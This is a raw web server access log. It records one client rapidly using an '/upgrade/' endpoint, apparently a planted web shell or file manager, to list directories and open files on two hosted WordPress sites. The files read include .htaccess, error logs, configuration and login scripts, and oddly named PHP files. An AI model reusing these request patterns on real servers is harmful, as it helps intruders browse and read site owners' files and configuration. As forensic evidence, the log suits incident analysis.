45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 9691 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 11964 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F&option=folder HTTP/1.1" 200 8361 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 9227 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 11855 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fcgi-bin HTTP/1.1" 200 5790 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample HTTP/1.1" 200 6475 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 9363 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 20973 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade HTTP/1.1" 200 6830 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:34 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 10955 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8676 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 52687 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2F HTTP/1.1" 200 7858 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F&option=dir HTTP/1.1" 200 8359 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 16537 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8976 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8279 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fwp-includes HTTP/1.1" 200 25718 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 11467 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 25806 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 16185 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 19158 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:35 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Ffilefuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 11183 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Ffilefuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8389 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8318 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F.well-known HTTP/1.1" 200 6047 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F&option=file HTTP/1.1" 200 8359 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 9620 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive HTTP/1.1" 200 6395 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 10790 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8972 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 52611 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 9843 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 10204 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 19066 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2F HTTP/1.1" 200 7855 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 8336 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:36 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 8295 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade HTTP/1.1" 200 6705 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 9219 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F&option=file HTTP/1.1" 200 8333 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 8321 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 200 6394 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 8637 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 11407 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 16087 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 200 9956 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
